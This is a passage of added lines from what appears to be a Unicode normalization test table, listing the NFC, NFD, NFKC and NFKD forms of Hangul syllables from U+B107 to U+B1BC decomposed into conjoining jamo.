+{ source: [0xB107], NFC: [0xB107], NFD: [0x1102, 0x1164, 0x11C2], NFKC: [0xB107], NFKD: [0x1102, 0x1164, 0x11C2] },
+{ source: [0xB108], NFC: [0xB108], NFD: [0x1102, 0x1165], NFKC: [0xB108], NFKD: [0x1102, 0x1165] },
+{ source: [0xB109], NFC: [0xB109], NFD: [0x1102, 0x1165, 0x11A8], NFKC: [0xB109], NFKD: [0x1102, 0x1165, 0x11A8] },
+{ source: [0xB10A], NFC: [0xB10A], NFD: [0x1102, 0x1165, 0x11A9], NFKC: [0xB10A], NFKD: [0x1102, 0x1165, 0x11A9] },
+{ source: [0xB10B], NFC: [0xB10B], NFD: [0x1102, 0x1165, 0x11AA], NFKC: [0xB10B], NFKD: [0x1102, 0x1165, 0x11AA] },
+{ source: [0xB10C], NFC: [0xB10C], NFD: [0x1102, 0x1165, 0x11AB], NFKC: [0xB10C], NFKD: [0x1102, 0x1165, 0x11AB] },
+{ source: [0xB10D], NFC: [0xB10D], NFD: [0x1102, 0x1165, 0x11AC], NFKC: [0xB10D], NFKD: [0x1102, 0x1165, 0x11AC] },
+{ source: [0xB10E], NFC: [0xB10E], NFD: [0x1102, 0x1165, 0x11AD], NFKC: [0xB10E], NFKD: [0x1102, 0x1165, 0x11AD] },
+{ source: [0xB10F], NFC: [0xB10F], NFD: [0x1102, 0x1165, 0x11AE], NFKC: [0xB10F], NFKD: [0x1102, 0x1165, 0x11AE] },
+{ source: [0xB110], NFC: [0xB110], NFD: [0x1102, 0x1165, 0x11AF], NFKC: [0xB110], NFKD: [0x1102, 0x1165, 0x11AF] },
+{ source: [0xB111], NFC: [0xB111], NFD: [0x1102, 0x1165, 0x11B0], NFKC: [0xB111], NFKD: [0x1102, 0x1165, 0x11B0] },
+{ source: [0xB112], NFC: [0xB112], NFD: [0x1102, 0x1165, 0x11B1], NFKC: [0xB112], NFKD: [0x1102, 0x1165, 0x11B1] },
+{ source: [0xB113], NFC: [0xB113], NFD: [0x1102, 0x1165, 0x11B2], NFKC: [0xB113], NFKD: [0x1102, 0x1165, 0x11B2] },
+{ source: [0xB114], NFC: [0xB114], NFD: [0x1102, 0x1165, 0x11B3], NFKC: [0xB114], NFKD: [0x1102, 0x1165, 0x11B3] },
+{ source: [0xB115], NFC: [0xB115], NFD: [0x1102, 0x1165, 0x11B4], NFKC: [0xB115], NFKD: [0x1102, 0x1165, 0x11B4] },
+{ source: [0xB116], NFC: [0xB116], NFD: [0x1102, 0x1165, 0x11B5], NFKC: [0xB116], NFKD: [0x1102, 0x1165, 0x11B5] },
+{ source: [0xB117], NFC: [0xB117], NFD: [0x1102, 0x1165, 0x11B6], NFKC: [0xB117], NFKD: [0x1102, 0x1165, 0x11B6] },
+{ source: [0xB118], NFC: [0xB118], NFD: [0x1102, 0x1165, 0x11B7], NFKC: [0xB118], NFKD: [0x1102, 0x1165, 0x11B7] },
+{ source: [0xB119], NFC: [0xB119], NFD: [0x1102, 0x1165, 0x11B8], NFKC: [0xB119], NFKD: [0x1102, 0x1165, 0x11B8] },
+{ source: [0xB11A], NFC: [0xB11A], NFD: [0x1102, 0x1165, 0x11B9], NFKC: [0xB11A], NFKD: [0x1102, 0x1165, 0x11B9] },
+{ source: [0xB11B], NFC: [0xB11B], NFD: [0x1102, 0x1165, 0x11BA], NFKC: [0xB11B], NFKD: [0x1102, 0x1165, 0x11BA] },
+{ source: [0xB11C], NFC: [0xB11C], NFD: [0x1102, 0x1165, 0x11BB], NFKC: [0xB11C], NFKD: [0x1102, 0x1165, 0x11BB] },
+{ source: [0xB11D], NFC: [0xB11D], NFD: [0x1102, 0x1165, 0x11BC], NFKC: [0xB11D], NFKD: [0x1102, 0x1165, 0x11BC] },
+{ source: [0xB11E], NFC: [0xB11E], NFD: [0x1102, 0x1165, 0x11BD], NFKC: [0xB11E], NFKD: [0x1102, 0x1165, 0x11BD] },
+{ source: [0xB11F], NFC: [0xB11F], NFD: [0x1102, 0x1165, 0x11BE], NFKC: [0xB11F], NFKD: [0x1102, 0x1165, 0x11BE] },
+{ source: [0xB120], NFC: [0xB120], NFD: [0x1102, 0x1165, 0x11BF], NFKC: [0xB120], NFKD: [0x1102, 0x1165, 0x11BF] },
+{ source: [0xB121], NFC: [0xB121], NFD: [0x1102, 0x1165, 0x11C0], NFKC: [0xB121], NFKD: [0x1102, 0x1165, 0x11C0] },
+{ source: [0xB122], NFC: [0xB122], NFD: [0x1102, 0x1165, 0x11C1], NFKC: [0xB122], NFKD: [0x1102, 0x1165, 0x11C1] },
+{ source: [0xB123], NFC: [0xB123], NFD: [0x1102, 0x1165, 0x11C2], NFKC: [0xB123], NFKD: [0x1102, 0x1165, 0x11C2] },
+{ source: [0xB124], NFC: [0xB124], NFD: [0x1102, 0x1166], NFKC: [0xB124], NFKD: [0x1102, 0x1166] },
+{ source: [0xB125], NFC: [0xB125], NFD: [0x1102, 0x1166, 0x11A8], NFKC: [0xB125], NFKD: [0x1102, 0x1166, 0x11A8] },
+{ source: [0xB126], NFC: [0xB126], NFD: [0x1102, 0x1166, 0x11A9], NFKC: [0xB126], NFKD: [0x1102, 0x1166, 0x11A9] },
+{ source: [0xB127], NFC: [0xB127], NFD: [0x1102, 0x1166, 0x11AA], NFKC: [0xB127], NFKD: [0x1102, 0x1166, 0x11AA] },
+{ source: [0xB128], NFC: [0xB128], NFD: [0x1102, 0x1166, 0x11AB], NFKC: [0xB128], NFKD: [0x1102, 0x1166, 0x11AB] },
+{ source: [0xB129], NFC: [0xB129], NFD: [0x1102, 0x1166, 0x11AC], NFKC: [0xB129], NFKD: [0x1102, 0x1166, 0x11AC] },
+{ source: [0xB12A], NFC: [0xB12A], NFD: [0x1102, 0x1166, 0x11AD], NFKC: [0xB12A], NFKD: [0x1102, 0x1166, 0x11AD] },
+{ source: [0xB12B], NFC: [0xB12B], NFD: [0x1102, 0x1166, 0x11AE], NFKC: [0xB12B], NFKD: [0x1102, 0x1166, 0x11AE] },
+{ source: [0xB12C], NFC: [0xB12C], NFD: [0x1102, 0x1166, 0x11AF], NFKC: [0xB12C], NFKD: [0x1102, 0x1166, 0x11AF] },
+{ source: [0xB12D], NFC: [0xB12D], NFD: [0x1102, 0x1166, 0x11B0], NFKC: [0xB12D], NFKD: [0x1102, 0x1166, 0x11B0] },
+{ source: [0xB12E], NFC: [0xB12E], NFD: [0x1102, 0x1166, 0x11B1], NFKC: [0xB12E], NFKD: [0x1102, 0x1166, 0x11B1] },
+{ source: [0xB12F], NFC: [0xB12F], NFD: [0x1102, 0x1166, 0x11B2], NFKC: [0xB12F], NFKD: [0x1102, 0x1166, 0x11B2] },
+{ source: [0xB130], NFC: [0xB130], NFD: [0x1102, 0x1166, 0x11B3], NFKC: [0xB130], NFKD: [0x1102, 0x1166, 0x11B3] },
+{ source: [0xB131], NFC: [0xB131], NFD: [0x1102, 0x1166, 0x11B4], NFKC: [0xB131], NFKD: [0x1102, 0x1166, 0x11B4] },
+{ source: [0xB132], NFC: [0xB132], NFD: [0x1102, 0x1166, 0x11B5], NFKC: [0xB132], NFKD: [0x1102, 0x1166, 0x11B5] },
+{ source: [0xB133], NFC: [0xB133], NFD: [0x1102, 0x1166, 0x11B6], NFKC: [0xB133], NFKD: [0x1102, 0x1166, 0x11B6] },
+{ source: [0xB134], NFC: [0xB134], NFD: [0x1102, 0x1166, 0x11B7], NFKC: [0xB134], NFKD: [0x1102, 0x1166, 0x11B7] },
+{ source: [0xB135], NFC: [0xB135], NFD: [0x1102, 0x1166, 0x11B8], NFKC: [0xB135], NFKD: [0x1102, 0x1166, 0x11B8] },
+{ source: [0xB136], NFC: [0xB136], NFD: [0x1102, 0x1166, 0x11B9], NFKC: [0xB136], NFKD: [0x1102, 0x1166, 0x11B9] },
+{ source: [0xB137], NFC: [0xB137], NFD: [0x1102, 0x1166, 0x11BA], NFKC: [0xB137], NFKD: [0x1102, 0x1166, 0x11BA] },
+{ source: [0xB138], NFC: [0xB138], NFD: [0x1102, 0x1166, 0x11BB], NFKC: [0xB138], NFKD: [0x1102, 0x1166, 0x11BB] },
+{ source: [0xB139], NFC: [0xB139], NFD: [0x1102, 0x1166, 0x11BC], NFKC: [0xB139], NFKD: [0x1102, 0x1166, 0x11BC] },
+{ source: [0xB13A], NFC: [0xB13A], NFD: [0x1102, 0x1166, 0x11BD], NFKC: [0xB13A], NFKD: [0x1102, 0x1166, 0x11BD] },
+{ source: [0xB13B], NFC: [0xB13B], NFD: [0x1102, 0x1166, 0x11BE], NFKC: [0xB13B], NFKD: [0x1102, 0x1166, 0x11BE] },
+{ source: [0xB13C], NFC: [0xB13C], NFD: [0x1102, 0x1166, 0x11BF], NFKC: [0xB13C], NFKD: [0x1102, 0x1166, 0x11BF] },
+{ source: [0xB13D], NFC: [0xB13D], NFD: [0x1102, 0x1166, 0x11C0], NFKC: [0xB13D], NFKD: [0x1102, 0x1166, 0x11C0] },
+{ source: [0xB13E], NFC: [0xB13E], NFD: [0x1102, 0x1166, 0x11C1], NFKC: [0xB13E], NFKD: [0x1102, 0x1166, 0x11C1] },
+{ source: [0xB13F], NFC: [0xB13F], NFD: [0x1102, 0x1166, 0x11C2], NFKC: [0xB13F], NFKD: [0x1102, 0x1166, 0x11C2] },
+{ source: [0xB140], NFC: [0xB140], NFD: [0x1102, 0x1167], NFKC: [0xB140], NFKD: [0x1102, 0x1167] },
+{ source: [0xB141], NFC: [0xB141], NFD: [0x1102, 0x1167, 0x11A8], NFKC: [0xB141], NFKD: [0x1102, 0x1167, 0x11A8] },
+{ source: [0xB142], NFC: [0xB142], NFD: [0x1102, 0x1167, 0x11A9], NFKC: [0xB142], NFKD: [0x1102, 0x1167, 0x11A9] },
+{ source: [0xB143], NFC: [0xB143], NFD: [0x1102, 0x1167, 0x11AA], NFKC: [0xB143], NFKD: [0x1102, 0x1167, 0x11AA] },
+{ source: [0xB144], NFC: [0xB144], NFD: [0x1102, 0x1167, 0x11AB], NFKC: [0xB144], NFKD: [0x1102, 0x1167, 0x11AB] },
+{ source: [0xB145], NFC: [0xB145], NFD: [0x1102, 0x1167, 0x11AC], NFKC: [0xB145], NFKD: [0x1102, 0x1167, 0x11AC] },
+{ source: [0xB146], NFC: [0xB146], NFD: [0x1102, 0x1167, 0x11AD], NFKC: [0xB146], NFKD: [0x1102, 0x1167, 0x11AD] },
+{ source: [0xB147], NFC: [0xB147], NFD: [0x1102, 0x1167, 0x11AE], NFKC: [0xB147], NFKD: [0x1102, 0x1167, 0x11AE] },
+{ source: [0xB148], NFC: [0xB148], NFD: [0x1102, 0x1167, 0x11AF], NFKC: [0xB148], NFKD: [0x1102, 0x1167, 0x11AF] },
+{ source: [0xB149], NFC: [0xB149], NFD: [0x1102, 0x1167, 0x11B0], NFKC: [0xB149], NFKD: [0x1102, 0x1167, 0x11B0] },
+{ source: [0xB14A], NFC: [0xB14A], NFD: [0x1102, 0x1167, 0x11B1], NFKC: [0xB14A], NFKD: [0x1102, 0x1167, 0x11B1] },
+{ source: [0xB14B], NFC: [0xB14B], NFD: [0x1102, 0x1167, 0x11B2], NFKC: [0xB14B], NFKD: [0x1102, 0x1167, 0x11B2] },
+{ source: [0xB14C], NFC: [0xB14C], NFD: [0x1102, 0x1167, 0x11B3], NFKC: [0xB14C], NFKD: [0x1102, 0x1167, 0x11B3] },
+{ source: [0xB14D], NFC: [0xB14D], NFD: [0x1102, 0x1167, 0x11B4], NFKC: [0xB14D], NFKD: [0x1102, 0x1167, 0x11B4] },
+{ source: [0xB14E], NFC: [0xB14E], NFD: [0x1102, 0x1167, 0x11B5], NFKC: [0xB14E], NFKD: [0x1102, 0x1167, 0x11B5] },
+{ source: [0xB14F], NFC: [0xB14F], NFD: [0x1102, 0x1167, 0x11B6], NFKC: [0xB14F], NFKD: [0x1102, 0x1167, 0x11B6] },
+{ source: [0xB150], NFC: [0xB150], NFD: [0x1102, 0x1167, 0x11B7], NFKC: [0xB150], NFKD: [0x1102, 0x1167, 0x11B7] },
+{ source: [0xB151], NFC: [0xB151], NFD: [0x1102, 0x1167, 0x11B8], NFKC: [0xB151], NFKD: [0x1102, 0x1167, 0x11B8] },
+{ source: [0xB152], NFC: [0xB152], NFD: [0x1102, 0x1167, 0x11B9], NFKC: [0xB152], NFKD: [0x1102, 0x1167, 0x11B9] },
+{ source: [0xB153], NFC: [0xB153], NFD: [0x1102, 0x1167, 0x11BA], NFKC: [0xB153], NFKD: [0x1102, 0x1167, 0x11BA] },
+{ source: [0xB154], NFC: [0xB154], NFD: [0x1102, 0x1167, 0x11BB], NFKC: [0xB154], NFKD: [0x1102, 0x1167, 0x11BB] },
+{ source: [0xB155], NFC: [0xB155], NFD: [0x1102, 0x1167, 0x11BC], NFKC: [0xB155], NFKD: [0x1102, 0x1167, 0x11BC] },
+{ source: [0xB156], NFC: [0xB156], NFD: [0x1102, 0x1167, 0x11BD], NFKC: [0xB156], NFKD: [0x1102, 0x1167, 0x11BD] },
+{ source: [0xB157], NFC: [0xB157], NFD: [0x1102, 0x1167, 0x11BE], NFKC: [0xB157], NFKD: [0x1102, 0x1167, 0x11BE] },
+{ source: [0xB158], NFC: [0xB158], NFD: [0x1102, 0x1167, 0x11BF], NFKC: [0xB158], NFKD: [0x1102, 0x1167, 0x11BF] },
+{ source: [0xB159], NFC: [0xB159], NFD: [0x1102, 0x1167, 0x11C0], NFKC: [0xB159], NFKD: [0x1102, 0x1167, 0x11C0] },
+{ source: [0xB15A], NFC: [0xB15A], NFD: [0x1102, 0x1167, 0x11C1], NFKC: [0xB15A], NFKD: [0x1102, 0x1167, 0x11C1] },
+{ source: [0xB15B], NFC: [0xB15B], NFD: [0x1102, 0x1167, 0x11C2], NFKC: [0xB15B], NFKD: [0x1102, 0x1167, 0x11C2] },
+{ source: [0xB15C], NFC: [0xB15C], NFD: [0x1102, 0x1168], NFKC: [0xB15C], NFKD: [0x1102, 0x1168] },
+{ source: [0xB15D], NFC: [0xB15D], NFD: [0x1102, 0x1168, 0x11A8], NFKC: [0xB15D], NFKD: [0x1102, 0x1168, 0x11A8] },
+{ source: [0xB15E], NFC: [0xB15E], NFD: [0x1102, 0x1168, 0x11A9], NFKC: [0xB15E], NFKD: [0x1102, 0x1168, 0x11A9] },
+{ source: [0xB15F], NFC: [0xB15F], NFD: [0x1102, 0x1168, 0x11AA], NFKC: [0xB15F], NFKD: [0x1102, 0x1168, 0x11AA] },
+{ source: [0xB160], NFC: [0xB160], NFD: [0x1102, 0x1168, 0x11AB], NFKC: [0xB160], NFKD: [0x1102, 0x1168, 0x11AB] },
+{ source: [0xB161], NFC: [0xB161], NFD: [0x1102, 0x1168, 0x11AC], NFKC: [0xB161], NFKD: [0x1102, 0x1168, 0x11AC] },
+{ source: [0xB162], NFC: [0xB162], NFD: [0x1102, 0x1168, 0x11AD], NFKC: [0xB162], NFKD: [0x1102, 0x1168, 0x11AD] },
+{ source: [0xB163], NFC: [0xB163], NFD: [0x1102, 0x1168, 0x11AE], NFKC: [0xB163], NFKD: [0x1102, 0x1168, 0x11AE] },
+{ source: [0xB164], NFC: [0xB164], NFD: [0x1102, 0x1168, 0x11AF], NFKC: [0xB164], NFKD: [0x1102, 0x1168, 0x11AF] },
+{ source: [0xB165], NFC: [0xB165], NFD: [0x1102, 0x1168, 0x11B0], NFKC: [0xB165], NFKD: [0x1102, 0x1168, 0x11B0] },
+{ source: [0xB166], NFC: [0xB166], NFD: [0x1102, 0x1168, 0x11B1], NFKC: [0xB166], NFKD: [0x1102, 0x1168, 0x11B1] },
+{ source: [0xB167], NFC: [0xB167], NFD: [0x1102, 0x1168, 0x11B2], NFKC: [0xB167], NFKD: [0x1102, 0x1168, 0x11B2] },
+{ source: [0xB168], NFC: [0xB168], NFD: [0x1102, 0x1168, 0x11B3], NFKC: [0xB168], NFKD: [0x1102, 0x1168, 0x11B3] },
+{ source: [0xB169], NFC: [0xB169], NFD: [0x1102, 0x1168, 0x11B4], NFKC: [0xB169], NFKD: [0x1102, 0x1168, 0x11B4] },
+{ source: [0xB16A], NFC: [0xB16A], NFD: [0x1102, 0x1168, 0x11B5], NFKC: [0xB16A], NFKD: [0x1102, 0x1168, 0x11B5] },
+{ source: [0xB16B], NFC: [0xB16B], NFD: [0x1102, 0x1168, 0x11B6], NFKC: [0xB16B], NFKD: [0x1102, 0x1168, 0x11B6] },
+{ source: [0xB16C], NFC: [0xB16C], NFD: [0x1102, 0x1168, 0x11B7], NFKC: [0xB16C], NFKD: [0x1102, 0x1168, 0x11B7] },
+{ source: [0xB16D], NFC: [0xB16D], NFD: [0x1102, 0x1168, 0x11B8], NFKC: [0xB16D], NFKD: [0x1102, 0x1168, 0x11B8] },
+{ source: [0xB16E], NFC: [0xB16E], NFD: [0x1102, 0x1168, 0x11B9], NFKC: [0xB16E], NFKD: [0x1102, 0x1168, 0x11B9] },
+{ source: [0xB16F], NFC: [0xB16F], NFD: [0x1102, 0x1168, 0x11BA], NFKC: [0xB16F], NFKD: [0x1102, 0x1168, 0x11BA] },
+{ source: [0xB170], NFC: [0xB170], NFD: [0x1102, 0x1168, 0x11BB], NFKC: [0xB170], NFKD: [0x1102, 0x1168, 0x11BB] },
+{ source: [0xB171], NFC: [0xB171], NFD: [0x1102, 0x1168, 0x11BC], NFKC: [0xB171], NFKD: [0x1102, 0x1168, 0x11BC] },
+{ source: [0xB172], NFC: [0xB172], NFD: [0x1102, 0x1168, 0x11BD], NFKC: [0xB172], NFKD: [0x1102, 0x1168, 0x11BD] },
+{ source: [0xB173], NFC: [0xB173], NFD: [0x1102, 0x1168, 0x11BE], NFKC: [0xB173], NFKD: [0x1102, 0x1168, 0x11BE] },
+{ source: [0xB174], NFC: [0xB174], NFD: [0x1102, 0x1168, 0x11BF], NFKC: [0xB174], NFKD: [0x1102, 0x1168, 0x11BF] },
+{ source: [0xB175], NFC: [0xB175], NFD: [0x1102, 0x1168, 0x11C0], NFKC: [0xB175], NFKD: [0x1102, 0x1168, 0x11C0] },
+{ source: [0xB176], NFC: [0xB176], NFD: [0x1102, 0x1168, 0x11C1], NFKC: [0xB176], NFKD: [0x1102, 0x1168, 0x11C1] },
+{ source: [0xB177], NFC: [0xB177], NFD: [0x1102, 0x1168, 0x11C2], NFKC: [0xB177], NFKD: [0x1102, 0x1168, 0x11C2] },
+{ source: [0xB178], NFC: [0xB178], NFD: [0x1102, 0x1169], NFKC: [0xB178], NFKD: [0x1102, 0x1169] },
+{ source: [0xB179], NFC: [0xB179], NFD: [0x1102, 0x1169, 0x11A8], NFKC: [0xB179], NFKD: [0x1102, 0x1169, 0x11A8] },
+{ source: [0xB17A], NFC: [0xB17A], NFD: [0x1102, 0x1169, 0x11A9], NFKC: [0xB17A], NFKD: [0x1102, 0x1169, 0x11A9] },
+{ source: [0xB17B], NFC: [0xB17B], NFD: [0x1102, 0x1169, 0x11AA], NFKC: [0xB17B], NFKD: [0x1102, 0x1169, 0x11AA] },
+{ source: [0xB17C], NFC: [0xB17C], NFD: [0x1102, 0x1169, 0x11AB], NFKC: [0xB17C], NFKD: [0x1102, 0x1169, 0x11AB] },
+{ source: [0xB17D], NFC: [0xB17D], NFD: [0x1102, 0x1169, 0x11AC], NFKC: [0xB17D], NFKD: [0x1102, 0x1169, 0x11AC] },
+{ source: [0xB17E], NFC: [0xB17E], NFD: [0x1102, 0x1169, 0x11AD], NFKC: [0xB17E], NFKD: [0x1102, 0x1169, 0x11AD] },
+{ source: [0xB17F], NFC: [0xB17F], NFD: [0x1102, 0x1169, 0x11AE], NFKC: [0xB17F], NFKD: [0x1102, 0x1169, 0x11AE] },
+{ source: [0xB180], NFC: [0xB180], NFD: [0x1102, 0x1169, 0x11AF], NFKC: [0xB180], NFKD: [0x1102, 0x1169, 0x11AF] },
+{ source: [0xB181], NFC: [0xB181], NFD: [0x1102, 0x1169, 0x11B0], NFKC: [0xB181], NFKD: [0x1102, 0x1169, 0x11B0] },
+{ source: [0xB182], NFC: [0xB182], NFD: [0x1102, 0x1169, 0x11B1], NFKC: [0xB182], NFKD: [0x1102, 0x1169, 0x11B1] },
+{ source: [0xB183], NFC: [0xB183], NFD: [0x1102, 0x1169, 0x11B2], NFKC: [0xB183], NFKD: [0x1102, 0x1169, 0x11B2] },
+{ source: [0xB184], NFC: [0xB184], NFD: [0x1102, 0x1169, 0x11B3], NFKC: [0xB184], NFKD: [0x1102, 0x1169, 0x11B3] },
+{ source: [0xB185], NFC: [0xB185], NFD: [0x1102, 0x1169, 0x11B4], NFKC: [0xB185], NFKD: [0x1102, 0x1169, 0x11B4] },
+{ source: [0xB186], NFC: [0xB186], NFD: [0x1102, 0x1169, 0x11B5], NFKC: [0xB186], NFKD: [0x1102, 0x1169, 0x11B5] },
+{ source: [0xB187], NFC: [0xB187], NFD: [0x1102, 0x1169, 0x11B6], NFKC: [0xB187], NFKD: [0x1102, 0x1169, 0x11B6] },
+{ source: [0xB188], NFC: [0xB188], NFD: [0x1102, 0x1169, 0x11B7], NFKC: [0xB188], NFKD: [0x1102, 0x1169, 0x11B7] },
+{ source: [0xB189], NFC: [0xB189], NFD: [0x1102, 0x1169, 0x11B8], NFKC: [0xB189], NFKD: [0x1102, 0x1169, 0x11B8] },
+{ source: [0xB18A], NFC: [0xB18A], NFD: [0x1102, 0x1169, 0x11B9], NFKC: [0xB18A], NFKD: [0x1102, 0x1169, 0x11B9] },
+{ source: [0xB18B], NFC: [0xB18B], NFD: [0x1102, 0x1169, 0x11BA], NFKC: [0xB18B], NFKD: [0x1102, 0x1169, 0x11BA] },
+{ source: [0xB18C], NFC: [0xB18C], NFD: [0x1102, 0x1169, 0x11BB], NFKC: [0xB18C], NFKD: [0x1102, 0x1169, 0x11BB] },
+{ source: [0xB18D], NFC: [0xB18D], NFD: [0x1102, 0x1169, 0x11BC], NFKC: [0xB18D], NFKD: [0x1102, 0x1169, 0x11BC] },
+{ source: [0xB18E], NFC: [0xB18E], NFD: [0x1102, 0x1169, 0x11BD], NFKC: [0xB18E], NFKD: [0x1102, 0x1169, 0x11BD] },
+{ source: [0xB18F], NFC: [0xB18F], NFD: [0x1102, 0x1169, 0x11BE], NFKC: [0xB18F], NFKD: [0x1102, 0x1169, 0x11BE] },
+{ source: [0xB190], NFC: [0xB190], NFD: [0x1102, 0x1169, 0x11BF], NFKC: [0xB190], NFKD: [0x1102, 0x1169, 0x11BF] },
+{ source: [0xB191], NFC: [0xB191], NFD: [0x1102, 0x1169, 0x11C0], NFKC: [0xB191], NFKD: [0x1102, 0x1169, 0x11C0] },
+{ source: [0xB192], NFC: [0xB192], NFD: [0x1102, 0x1169, 0x11C1], NFKC: [0xB192], NFKD: [0x1102, 0x1169, 0x11C1] },
+{ source: [0xB193], NFC: [0xB193], NFD: [0x1102, 0x1169, 0x11C2], NFKC: [0xB193], NFKD: [0x1102, 0x1169, 0x11C2] },
+{ source: [0xB194], NFC: [0xB194], NFD: [0x1102, 0x116A], NFKC: [0xB194], NFKD: [0x1102, 0x116A] },
+{ source: [0xB195], NFC: [0xB195], NFD: [0x1102, 0x116A, 0x11A8], NFKC: [0xB195], NFKD: [0x1102, 0x116A, 0x11A8] },
+{ source: [0xB196], NFC: [0xB196], NFD: [0x1102, 0x116A, 0x11A9], NFKC: [0xB196], NFKD: [0x1102, 0x116A, 0x11A9] },
+{ source: [0xB197], NFC: [0xB197], NFD: [0x1102, 0x116A, 0x11AA], NFKC: [0xB197], NFKD: [0x1102, 0x116A, 0x11AA] },
+{ source: [0xB198], NFC: [0xB198], NFD: [0x1102, 0x116A, 0x11AB], NFKC: [0xB198], NFKD: [0x1102, 0x116A, 0x11AB] },
+{ source: [0xB199], NFC: [0xB199], NFD: [0x1102, 0x116A, 0x11AC], NFKC: [0xB199], NFKD: [0x1102, 0x116A, 0x11AC] },
+{ source: [0xB19A], NFC: [0xB19A], NFD: [0x1102, 0x116A, 0x11AD], NFKC: [0xB19A], NFKD: [0x1102, 0x116A, 0x11AD] },
+{ source: [0xB19B], NFC: [0xB19B], NFD: [0x1102, 0x116A, 0x11AE], NFKC: [0xB19B], NFKD: [0x1102, 0x116A, 0x11AE] },
+{ source: [0xB19C], NFC: [0xB19C], NFD: [0x1102, 0x116A, 0x11AF], NFKC: [0xB19C], NFKD: [0x1102, 0x116A, 0x11AF] },
+{ source: [0xB19D], NFC: [0xB19D], NFD: [0x1102, 0x116A, 0x11B0], NFKC: [0xB19D], NFKD: [0x1102, 0x116A, 0x11B0] },
+{ source: [0xB19E], NFC: [0xB19E], NFD: [0x1102, 0x116A, 0x11B1], NFKC: [0xB19E], NFKD: [0x1102, 0x116A, 0x11B1] },
+{ source: [0xB19F], NFC: [0xB19F], NFD: [0x1102, 0x116A, 0x11B2], NFKC: [0xB19F], NFKD: [0x1102, 0x116A, 0x11B2] },
+{ source: [0xB1A0], NFC: [0xB1A0], NFD: [0x1102, 0x116A, 0x11B3], NFKC: [0xB1A0], NFKD: [0x1102, 0x116A, 0x11B3] },
+{ source: [0xB1A1], NFC: [0xB1A1], NFD: [0x1102, 0x116A, 0x11B4], NFKC: [0xB1A1], NFKD: [0x1102, 0x116A, 0x11B4] },
+{ source: [0xB1A2], NFC: [0xB1A2], NFD: [0x1102, 0x116A, 0x11B5], NFKC: [0xB1A2], NFKD: [0x1102, 0x116A, 0x11B5] },
+{ source: [0xB1A3], NFC: [0xB1A3], NFD: [0x1102, 0x116A, 0x11B6], NFKC: [0xB1A3], NFKD: [0x1102, 0x116A, 0x11B6] },
+{ source: [0xB1A4], NFC: [0xB1A4], NFD: [0x1102, 0x116A, 0x11B7], NFKC: [0xB1A4], NFKD: [0x1102, 0x116A, 0x11B7] },
+{ source: [0xB1A5], NFC: [0xB1A5], NFD: [0x1102, 0x116A, 0x11B8], NFKC: [0xB1A5], NFKD: [0x1102, 0x116A, 0x11B8] },
+{ source: [0xB1A6], NFC: [0xB1A6], NFD: [0x1102, 0x116A, 0x11B9], NFKC: [0xB1A6], NFKD: [0x1102, 0x116A, 0x11B9] },
+{ source: [0xB1A7], NFC: [0xB1A7], NFD: [0x1102, 0x116A, 0x11BA], NFKC: [0xB1A7], NFKD: [0x1102, 0x116A, 0x11BA] },
+{ source: [0xB1A8], NFC: [0xB1A8], NFD: [0x1102, 0x116A, 0x11BB], NFKC: [0xB1A8], NFKD: [0x1102, 0x116A, 0x11BB] },
+{ source: [0xB1A9], NFC: [0xB1A9], NFD: [0x1102, 0x116A, 0x11BC], NFKC: [0xB1A9], NFKD: [0x1102, 0x116A, 0x11BC] },
+{ source: [0xB1AA], NFC: [0xB1AA], NFD: [0x1102, 0x116A, 0x11BD], NFKC: [0xB1AA], NFKD: [0x1102, 0x116A, 0x11BD] },
+{ source: [0xB1AB], NFC: [0xB1AB], NFD: [0x1102, 0x116A, 0x11BE], NFKC: [0xB1AB], NFKD: [0x1102, 0x116A, 0x11BE] },
+{ source: [0xB1AC], NFC: [0xB1AC], NFD: [0x1102, 0x116A, 0x11BF], NFKC: [0xB1AC], NFKD: [0x1102, 0x116A, 0x11BF] },
+{ source: [0xB1AD], NFC: [0xB1AD], NFD: [0x1102, 0x116A, 0x11C0], NFKC: [0xB1AD], NFKD: [0x1102, 0x116A, 0x11C0] },
+{ source: [0xB1AE], NFC: [0xB1AE], NFD: [0x1102, 0x116A, 0x11C1], NFKC: [0xB1AE], NFKD: [0x1102, 0x116A, 0x11C1] },
+{ source: [0xB1AF], NFC: [0xB1AF], NFD: [0x1102, 0x116A, 0x11C2], NFKC: [0xB1AF], NFKD: [0x1102, 0x116A, 0x11C2] },
+{ source: [0xB1B0], NFC: [0xB1B0], NFD: [0x1102, 0x116B], NFKC: [0xB1B0], NFKD: [0x1102, 0x116B] },
+{ source: [0xB1B1], NFC: [0xB1B1], NFD: [0x1102, 0x116B, 0x11A8], NFKC: [0xB1B1], NFKD: [0x1102, 0x116B, 0x11A8] },
+{ source: [0xB1B2], NFC: [0xB1B2], NFD: [0x1102, 0x116B, 0x11A9], NFKC: [0xB1B2], NFKD: [0x1102, 0x116B, 0x11A9] },
+{ source: [0xB1B3], NFC: [0xB1B3], NFD: [0x1102, 0x116B, 0x11AA], NFKC: [0xB1B3], NFKD: [0x1102, 0x116B, 0x11AA] },
+{ source: [0xB1B4], NFC: [0xB1B4], NFD: [0x1102, 0x116B, 0x11AB], NFKC: [0xB1B4], NFKD: [0x1102, 0x116B, 0x11AB] },
+{ source: [0xB1B5], NFC: [0xB1B5], NFD: [0x1102, 0x116B, 0x11AC], NFKC: [0xB1B5], NFKD: [0x1102, 0x116B, 0x11AC] },
+{ source: [0xB1B6], NFC: [0xB1B6], NFD: [0x1102, 0x116B, 0x11AD], NFKC: [0xB1B6], NFKD: [0x1102, 0x116B, 0x11AD] },
+{ source: [0xB1B7], NFC: [0xB1B7], NFD: [0x1102, 0x116B, 0x11AE], NFKC: [0xB1B7], NFKD: [0x1102, 0x116B, 0x11AE] },
+{ source: [0xB1B8], NFC: [0xB1B8], NFD: [0x1102, 0x116B, 0x11AF], NFKC: [0xB1B8], NFKD: [0x1102, 0x116B, 0x11AF] },
+{ source: [0xB1B9], NFC: [0xB1B9], NFD: [0x1102, 0x116B, 0x11B0], NFKC: [0xB1B9], NFKD: [0x1102, 0x116B, 0x11B0] },
+{ source: [0xB1BA], NFC: [0xB1BA], NFD: [0x1102, 0x116B, 0x11B1], NFKC: [0xB1BA], NFKD: [0x1102, 0x116B, 0x11B1] },
+{ source: [0xB1BB], NFC: [0xB1BB], NFD: [0x1102, 0x116B, 0x11B2], NFKC: [0xB1BB], NFKD: [0x1102, 0x116B, 0x11B2] },
+{ source: [0xB1BC], NFC: [0xB1BC], NFD: [0x1102, 0x116B, 0x11B3], NFKC: [0xB1BC], NFKD: [0x1102, 0x116B, 0x11B3] },
